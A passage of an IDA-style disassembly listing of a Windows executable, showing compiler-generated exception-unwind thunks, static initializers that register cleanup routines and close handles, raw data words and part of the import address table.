; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-48h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	eax, [ebp-24h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-2Ch]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-28h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-88h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-98h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	eax, [ebp-30h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-60h]
		jmp	loc_406A89
; ---------------------------------------------------------------------------

loc_4279C1:				; DATA XREF: sub_406B3F:loc_406B93o
		mov	eax, offset dword_431310
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp+0Ch]
		jmp	loc_405CA8
; ---------------------------------------------------------------------------

loc_4279D3:				; DATA XREF: sub_402382o
		mov	eax, offset dword_431334
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	sub_40D8F7
; ---------------------------------------------------------------------------

loc_4279E5:				; DATA XREF: sub_40FD30o
		mov	eax, offset dword_431358
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_4279EF:				; DATA XREF: sub_401E8Eo
		mov	eax, offset dword_4313DC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_41C855
; ---------------------------------------------------------------------------

loc_427A01:				; DATA XREF: sub_401000o sub_401E4Bo
		mov	eax, offset dword_431400
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-40h]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------
		lea	esi, [ebp-48h]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------

loc_427A1B:				; DATA XREF: sub_40CA30o
		mov	eax, offset dword_43142C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_416AA6
; ---------------------------------------------------------------------------

loc_427A2D:				; DATA XREF: sub_407A31o sub_40805Do ...
		mov	eax, offset dword_43123C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-20h]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------

loc_427A3F:				; DATA XREF: .text:00431454o
		push	dword ptr [ebp-24h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427A49:				; DATA XREF: .text:loc_40C742o
		mov	eax, offset dword_431458
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	loc_40606B
; ---------------------------------------------------------------------------

loc_427A5B:				; DATA XREF: sub_4095D4o
		mov	eax, offset dword_43147C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-14h]
		jmp	loc_405CA8
; ---------------------------------------------------------------------------

loc_427A6D:				; DATA XREF: .text:loc_408B59o
		mov	eax, offset dword_4314A0
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-10h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------

loc_427A7F:				; DATA XREF: .text:004314CCo
		lea	eax, [ebp-14h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-18h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-80h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-70h]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	eax, [ebp-28h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-24h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-20h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0ACh]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DCh]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	eax, [ebp-34h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-2Ch]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-30h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-3Ch]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-38h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-4Ch]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-40h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-48h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	eax, [ebp-50h]
		jmp	loc_406A84
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0CCh]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0BCh]
		jmp	loc_406074
; ---------------------------------------------------------------------------
		lea	eax, [ebp-44h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-54h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp+8]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-60h]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	eax, [ebp-5Ch]
		jmp	loc_40606B
; ---------------------------------------------------------------------------

loc_427B5B:				; DATA XREF: sub_4060DCo
		mov	eax, offset dword_431598
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		jmp	nullsub_3
; ---------------------------------------------------------------------------

loc_427B6A:				; DATA XREF: sub_40219Co
		mov	eax, offset dword_4315BC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427B74:				; DATA XREF: sub_402047o
		mov	eax, offset dword_43160C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-10h]
		jmp	loc_405CA8
; ---------------------------------------------------------------------------

loc_427B86:				; DATA XREF: .text:loc_416C13o
		mov	eax, offset dword_431630
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-1Ch]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------

loc_427B98:				; DATA XREF: .text:loc_407AFAo
					; .text:loc_41679Do
		mov	eax, offset dword_431C88
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427BA2:				; DATA XREF: sub_415B6Eo
		mov	eax, offset dword_4316B4
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427BAC:				; DATA XREF: sub_415989o
		mov	eax, offset dword_431738
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427BB6:				; DATA XREF: sub_41579Ao
		mov	eax, offset dword_4317BC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_416AA6
; ---------------------------------------------------------------------------

loc_427BC8:				; DATA XREF: .text:004317E4o
		mov	eax, [ebp+8]
		add	eax, 10h
		jmp	loc_4099F5
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 14h
		jmp	sub_4073E0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 24h
		jmp	sub_4073E0
; ---------------------------------------------------------------------------

loc_427BE9:				; DATA XREF: sub_4150A5o
		mov	eax, offset dword_4317F8
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427BF3:				; DATA XREF: sub_413AD1o
		mov	eax, offset dword_4318A0
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 104h
		jmp	sub_4073E0
; ---------------------------------------------------------------------------

loc_427C0B:				; DATA XREF: sub_413878o
		mov	eax, offset dword_4318C4
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-2Ch]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------

loc_427C1D:				; DATA XREF: .text:004318ECo
		lea	esi, [ebp-74h]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------
		lea	esi, [ebp-44h]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------
		lea	esi, [ebp-5Ch]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------
		lea	esi, [ebp-0A4h]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------
		lea	esi, [ebp-8Ch]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------

loc_427C4B:				; DATA XREF: sub_412B5Eo
		mov	eax, offset dword_431910
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427C55:				; DATA XREF: sub_40E83Bo
		mov	eax, offset dword_431994
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_415135
; ---------------------------------------------------------------------------

loc_427C67:				; DATA XREF: sub_40C31Co
		mov	eax, offset dword_4319E4
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427C71:				; DATA XREF: sub_402138o
		mov	eax, offset dword_431A34
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427C7B:				; DATA XREF: sub_4020D3o
		mov	eax, offset dword_431A84
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-28h]
		jmp	loc_40183A
; ---------------------------------------------------------------------------

loc_427C8D:				; DATA XREF: sub_40C38Fo
		mov	eax, offset dword_43181C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-2Ch]
		jmp	loc_40183A
; ---------------------------------------------------------------------------

loc_427C9F:				; DATA XREF: sub_401C28o
		mov	eax, offset dword_431B10
		jmp	sub_41E16C
; ---------------------------------------------------------------------------

loc_427CA9:				; DATA XREF: sub_401844o
		mov	eax, offset dword_431B60
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-38h]
		jmp	loc_4018A7
; ---------------------------------------------------------------------------

loc_427CBB:				; DATA XREF: .text:00431B88o
		lea	ecx, [ebp-94h]
		jmp	loc_40183A
; ---------------------------------------------------------------------------

loc_427CC6:				; DATA XREF: sub_4013ECo
		mov	eax, offset dword_431B8C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	edi, [ebp-168h]
		jmp	loc_4127FE
; ---------------------------------------------------------------------------

loc_427CDB:				; DATA XREF: .text:00431BB4o
		push	dword ptr [ebp-36Ch]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427CE8:				; DATA XREF: .text:00431BBCo
		push	dword ptr [ebp-370h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427CF5:				; DATA XREF: .text:00431BC4o
		lea	esi, [ebp-40h]
		jmp	sub_40FE7D
; ---------------------------------------------------------------------------

loc_427CFD:				; DATA XREF: sub_41226Ao
		mov	eax, offset dword_431BC8
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		jmp	loc_4099F5
; ---------------------------------------------------------------------------

loc_427D0F:				; DATA XREF: .text:00431BF0o
		mov	esi, [ebp+8]
		add	esi, 4
		jmp	sub_4073E0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427D24:				; DATA XREF: sub_407D47o sub_40C251o ...
		mov	eax, offset dword_431BFC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_416AA6
; ---------------------------------------------------------------------------

loc_427D36:				; DATA XREF: .text:00431C24o
		mov	eax, [ebp+8]
		add	eax, 20h
		jmp	loc_4099F5
; ---------------------------------------------------------------------------
		mov	edi, [ebp+8]
		add	edi, 24h
		jmp	sub_40B9E3
; ---------------------------------------------------------------------------

loc_427D4C:				; DATA XREF: sub_40E4C6o
		mov	eax, offset dword_431C30
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-3Ch]
		jmp	loc_4018A7
; ---------------------------------------------------------------------------

loc_427D5E:				; DATA XREF: .text:00431C58o
		lea	eax, [ebp-1Ch]
		jmp	loc_40606B
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-58h]
		jmp	loc_40183A
; ---------------------------------------------------------------------------

loc_427D6E:				; DATA XREF: sub_409729o
		mov	eax, offset dword_431C64
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-1Ch]
		jmp	sub_40D8F7
; ---------------------------------------------------------------------------

loc_427D80:				; DATA XREF: .text:00431CB0o
		jmp	loc_40473A
; ---------------------------------------------------------------------------

loc_427D85:				; DATA XREF: sub_416071o
		mov	eax, offset dword_431CB4
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-20h]
		jmp	sub_4073E0
; ---------------------------------------------------------------------------

loc_427D97:				; DATA XREF: sub_412A38o
		mov	eax, offset dword_431CD8
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		jmp	sub_4073E0
; ---------------------------------------------------------------------------

loc_427DA9:				; DATA XREF: sub_4121C3o sub_412B23o
		mov	eax, offset dword_431CFC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	eax, [ebp+8]
		add	eax, 104h
		jmp	loc_410A32
; ---------------------------------------------------------------------------

loc_427DC0:				; DATA XREF: .text:00431D24o
		mov	edi, [ebp+8]
		add	edi, 15Ch
		jmp	sub_4121AA
; ---------------------------------------------------------------------------
		mov	edi, [ebp+8]
		add	edi, 288h
		jmp	sub_413EB2
; ---------------------------------------------------------------------------
		mov	edi, [ebp+8]
		add	edi, 2A8h
		jmp	sub_413EB2
; ---------------------------------------------------------------------------
		mov	esi, [ebp+8]
		add	esi, 2C8h
		jmp	sub_4073E0
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+0Ch]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-44h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427EA2:				; DATA XREF: sub_411377o
		mov	eax, offset dword_431DC8
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+8]
		jmp	sub_416AA6
; ---------------------------------------------------------------------------

loc_427EB4:				; DATA XREF: .text:00431DF0o
		push	dword ptr [ebp+0Ch]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427EBE:				; DATA XREF: sub_411299o
		mov	eax, offset dword_431DF4
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+8]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427ED2:				; DATA XREF: sub_40F072o sub_40F340o ...
		mov	eax, offset dword_431260
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-10h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427EE6:				; DATA XREF: sub_407DB9o sub_40C201o ...
		mov	eax, offset dword_431E18
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-20h]
		jmp	sub_40D8F7
; ---------------------------------------------------------------------------

loc_427EF8:				; DATA XREF: sub_40BDE3o
		mov	eax, offset dword_431E3C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	eax, [ebp-54h]
		jmp	sub_40D8F7
; ---------------------------------------------------------------------------

loc_427F0A:				; DATA XREF: .text:00431E64o
		lea	esi, [ebp+30h]
		jmp	loc_405CA8
; ---------------------------------------------------------------------------

loc_427F12:				; DATA XREF: .text:0040A3CBo
		mov	eax, offset dword_431E68
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-34h]
		jmp	loc_4018A7
; ---------------------------------------------------------------------------

loc_427F24:				; DATA XREF: sub_4098F3o
		mov	eax, offset dword_431E8C
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-44h]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------

loc_427F36:				; DATA XREF: .text:00431EB4o
		push	dword ptr [ebp-24h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427F40:				; DATA XREF: .text:loc_4081E6o
		mov	eax, offset dword_431EB8
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		lea	esi, [ebp-14h]
		jmp	sub_405EDB
; ---------------------------------------------------------------------------

loc_427F52:				; DATA XREF: sub_40C14Bo sub_40F7ADo
		mov	eax, offset dword_431EDC
		jmp	sub_41E16C
; ---------------------------------------------------------------------------
		push	dword ptr [ebp-14h]
		call	sub_41C7B8
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_427F66:				; DATA XREF: .text:loc_40BA1Ao
					; sub_413D9Eo
		mov	eax, offset dword_431F00
		jmp	sub_41E16C

; =============== S U B	R O U T	I N E =======================================



sub_427F70	proc near		; DATA XREF: .text:00433010o
		push	18h
		call	sub_41BA91
		pop	ecx
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_427F9D
		mov	dword ptr [eax], offset	off_42FED8
		mov	[eax+4], ecx
		mov	dword ptr [eax+8], 1
		mov	[eax+0Ch], ecx
		mov	dword ptr [eax+10h], 80040202h
		mov	[eax+14h], ecx
		jmp	short loc_427F9F
; ---------------------------------------------------------------------------

loc_427F9D:				; CODE XREF: sub_427F70+Cj
		xor	eax, eax

loc_427F9F:				; CODE XREF: sub_427F70+2Bj
		mov	ds:dword_438128, eax
		retn
sub_427F70	endp


; =============== S U B	R O U T	I N E =======================================



sub_427FA5	proc near		; DATA XREF: .text:00433014o
		push	edi
		mov	edi, offset off_438130
		call	sub_407EBB
		push	offset loc_4280F0
		call	sub_41C58E
		pop	ecx
		pop	edi
		retn
sub_427FA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_427FBD	proc near		; DATA XREF: .text:00433018o
		mov	eax, offset dword_438154
		call	sub_407F4B
		push	offset loc_4280FA
		call	sub_41C58E
		pop	ecx
		retn
sub_427FBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_427FD3	proc near		; DATA XREF: .text:0043301Co
		push	esi
		mov	esi, offset dword_438150
		call	sub_4099E5
		push	offset loc_428107
		call	sub_41C58E
		pop	ecx
		pop	esi
		retn
sub_427FD3	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	edi, offset dword_438188
		call	sub_40EBF2
		push	offset loc_428114
		call	sub_41C58E
		pop	ecx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_428003:				; DATA XREF: .text:00433024o
		push	edi
		mov	edi, offset dword_438174
		call	sub_40EBF2
		push	offset loc_42811E
		call	sub_41C58E
		pop	ecx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_42801B:				; DATA XREF: .text:00433028o
		push	offset loc_428128
		call	sub_41C58E
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_428027:				; DATA XREF: .text:0043302Co
		push	offset dword_43819C
		call	sub_40E258
		push	offset loc_428135
		call	sub_41C58E
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_42803D:				; DATA XREF: .text:00433030o
		push	edi
		mov	edi, offset dword_4381B8
		call	sub_40EBF2
		push	offset loc_428140
		call	sub_41C58E
		pop	ecx
		pop	edi
		retn
; ---------------------------------------------------------------------------

loc_428055:				; DATA XREF: .text:00433034o
		push	18h
		call	sub_41BA91
		pop	ecx
		xor	ecx, ecx
		cmp	eax, ecx
		jz	short loc_428082
		mov	dword ptr [eax], offset	off_42FED8
		mov	[eax+4], ecx
		mov	dword ptr [eax+8], 1
		mov	[eax+0Ch], ecx
		mov	dword ptr [eax+10h], 80040202h
		mov	[eax+14h], ecx
		jmp	short loc_428084
; ---------------------------------------------------------------------------

loc_428082:				; CODE XREF: .text:00428061j
		xor	eax, eax

loc_428084:				; CODE XREF: .text:00428080j
		mov	ds:dword_4381CC, eax
		retn
; ---------------------------------------------------------------------------

loc_42808A:				; DATA XREF: .text:00433038o
		push	esi
		mov	esi, offset dword_4381D4
		call	sub_40466F
		push	offset loc_42814A
		call	sub_41C58E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4280A2:				; DATA XREF: .text:0043303Co
		push	esi
		mov	esi, offset dword_4381D0
		call	sub_4099E5
		push	offset loc_428154
		call	sub_41C58E
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4280C0	proc near		; DATA XREF: .text:0043300Co
		push	offset loc_428170
		call	sub_41C58E
		pop	ecx
		retn
sub_4280C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4280CC	proc near		; DATA XREF: .text:00433008o

; FUNCTION CHUNK AT 0040728E SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0040EC0A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0041BB91 SIZE 00000016 BYTES

		mov	ecx, offset dword_435490
		call	sub_41BBA7
		push	offset loc_428190
		call	sub_41C58E
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_4280F0:				; DATA XREF: sub_427FA5+Bo
		mov	ecx, offset off_438130
		jmp	sub_40E07F
; ---------------------------------------------------------------------------

loc_4280FA:				; DATA XREF: sub_427FBD+Ao
		push	esi
		mov	esi, offset dword_438154
		call	sub_4073E0
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_428107:				; DATA XREF: sub_427FD3+Bo
		push	ds:dword_438150
		call	ds:dword_4290F0	; CloseHandle
		retn
; ---------------------------------------------------------------------------

loc_428114:				; DATA XREF: .text:00427FF6o
		mov	eax, offset dword_438188
		jmp	loc_40728E
; ---------------------------------------------------------------------------

loc_42811E:				; DATA XREF: .text:0042800Eo
		mov	eax, offset dword_438174
		jmp	loc_40728E
; ---------------------------------------------------------------------------

loc_428128:				; DATA XREF: .text:loc_42801Bo
		push	esi
		mov	esi, offset dword_438164
		call	sub_413A1C
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_428135:				; DATA XREF: .text:00428031o
		push	offset dword_43819C
		call	sub_40E2F1
		retn
; ---------------------------------------------------------------------------

loc_428140:				; DATA XREF: .text:00428048o
		mov	eax, offset dword_4381B8
		jmp	loc_40EC0A
; ---------------------------------------------------------------------------

loc_42814A:				; DATA XREF: .text:00428095o
		mov	eax, offset dword_4381D4
		jmp	sub_404683
; ---------------------------------------------------------------------------

loc_428154:				; DATA XREF: .text:004280ADo
		push	ds:dword_4381D0
		call	ds:dword_4290F0	; CloseHandle
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_428170:				; DATA XREF: sub_4280C0o
		push	offset dword_433080
		call	ds:dword_4291CC
		test	eax, eax
		jge	short locret_428185
		push	eax
		call	sub_41B8C0

locret_428185:				; CODE XREF: sub_4280CC+B1j
		retn
; ---------------------------------------------------------------------------

loc_428186:				; DATA XREF: sub_41BAF9+31o
		mov	ecx, offset dword_435480
		jmp	sub_41BABA
; ---------------------------------------------------------------------------

loc_428190:				; DATA XREF: sub_4280CC+Ao
		mov	ecx, offset dword_435490
		jmp	loc_41BB91
sub_4280CC	endp

; ---------------------------------------------------------------------------
		dw 9318h
		dd 0C0B7AB8Ah, 12654E41h, 854A18C2h, 610CEBC7h,	0C501FC54h
		dd 0D2CCD602h, 0BD41D184h, 0AA198C18h, 644C7926h, 775CA1FCh
		dd 15D92341h, 4A48E6D0h, 0D247462h, 0E2EC2D44h,	0BD181A92h
		dd 949E0321h, 12A55544h, 48C98CD5h, 0BB579AD9h,	0F65E8D45h
		dd 5553E1C2h, 0BFFA41D0h, 4A313D47h, 0F951h, 381h dup(0)
dword_429000	dd 77DD839Fh		; DATA XREF: sub_4091F9+5Dr start+187o
dword_429004	dd 77DD23D7h		; DATA XREF: sub_4047DC+79r
					; sub_404C05+5Cr ...
dword_429008	dd 77DD842Ah		; DATA XREF: sub_40DB1B+18r
dword_42900C	dd 77DD590Bh		; DATA XREF: sub_408F96+1CDr
					; sub_40DA94+18r ...
dword_429010	dd 77DD22EAh		; DATA XREF: sub_40DAD4+12r
dword_429014	dd 77DD5C55h		; DATA XREF: sub_40FE37+33r
dword_429018	dd 77DD7F3Eh		; DATA XREF: sub_40D93E+48r
dword_42901C	dd 77DD189Ah		; DATA XREF: sub_40DB08+9r
dword_429020	dd 77DD59F0h		; DATA XREF: sub_4047DC+58r
					; sub_408F96+250r ...
		align 8
dword_429028	dd 77E7FF2Eh		; DATA XREF: sub_425669:loc_4256BCr
					; sub_4256E5:loc_42573Br
dword_42902C	dd 77E6C703h		; DATA XREF: sub_424BB3+35r
dword_429030	dd 77E7849Fh		; DATA XREF: sub_424828+1Cr
					; sub_424A23+3Ar ...
dword_429034	dd 77E7C866h		; DATA XREF: sub_4242B5+24r
					; sub_4242B5+128r
dword_429038	dd 77E641EBh		; DATA XREF: sub_4242B5+19Cr
dword_42903C	dd 77E802FCh		; DATA XREF: sub_423DB4+43r
dword_429040	dd 77E7F044h		; DATA XREF: sub_422D45+B3r
					; sub_425CAB+1Ar ...
dword_429044	dd 77E7C931h		; DATA XREF: sub_422ABF+1EEr
dword_429048	dd 77E77EE1h		; DATA XREF: sub_42299D+Br
dword_42904C	dd 77E7C9E1h		; DATA XREF: sub_42299D+C1r
dword_429050	dd 77E67702h		; DATA XREF: sub_42299D:loc_422A74r
dword_429054	dd 77E9C5B1h		; DATA XREF: sub_42299D+113r
dword_429058	dd 77E79C3Dh		; DATA XREF: sub_4224BB+14Er
					; sub_422ABF+188r
dword_42905C	dd 77E78406h		; DATA XREF: sub_421B9F+1EAr
					; sub_422ABF+107r ...
dword_429060	dd 77EB9A84h		; DATA XREF: sub_4217A5+159r
dword_429064	dd 77E781F9h		; DATA XREF: sub_421354+27r
					; sub_421354+15Br ...
dword_429068	dd 77E77405h		; DATA XREF: sub_421354+2C3r
					; sub_421354+344r ...
dword_42906C	dd 77E78B61h		; DATA XREF: sub_42059D+67r
dword_429070	dd 77E79B39h		; DATA XREF: sub_42059D+71r
dword_429074	dd 77E72B29h		; DATA XREF: sub_42059D+7Br
dword_429078	dd 77F51587h		; DATA XREF: sub_4203B6+66r
					; sub_423F72+79r
dword_42907C	dd 77E7513Ch		; DATA XREF: sub_4010AA+1Ar
					; sub_40892A+FCr ...
dword_429080	dd 77E79908h		; DATA XREF: sub_401162+12r
					; sub_4099FE+4r ...
dword_429084	dd 77E61BE6h		; DATA XREF: sub_4016AD+21r
					; sub_4060B7+1Dr ...
dword_429088	dd 77E7A13Fh		; DATA XREF: sub_4010AA:loc_4010EDr
					; sub_424BB3+4Cr
dword_42908C	dd 77E6D706h		; DATA XREF: sub_41E4BE+2Er
					; sub_424D24+1F5r
dword_429090	dd 77E775F1h		; DATA XREF: sub_4010FE+42r
					; sub_40B8C8+5r ...
dword_429094	dd 77E77F21h		; DATA XREF: sub_4010AA+8r
dword_429098	dd 77F53275h		; DATA XREF: sub_404683+9r
					; sub_4280CC-C534r ...
dword_42909C	dd 77E7C657h		; DATA XREF: sub_4010FE+1Ar
					; sub_41BBA7+4Er ...
dword_4290A0	dd 77F516F8h		; DATA XREF: sub_4026BD+3Br
					; sub_41D01D+63r ...
dword_4290A4	dd 77E79C90h		; DATA XREF: sub_402382:loc_402409r
					; sub_402920+Dr ...
dword_4290A8	dd 77E7751Ah		; DATA XREF: sub_404694+Fr
					; sub_4046C9+Er ...
dword_4290AC	dd 77E61A54h		; DATA XREF: sub_402382+97r
					; sub_402920+1Er ...
dword_4290B0	dd 77E76E0Bh		; DATA XREF: sub_402AC9+1B92r
					; sub_41E7DF+44r
dword_4290B4	dd 77E7C726h		; DATA XREF: sub_4026BD+2Ar
					; sub_41E7DF+11r
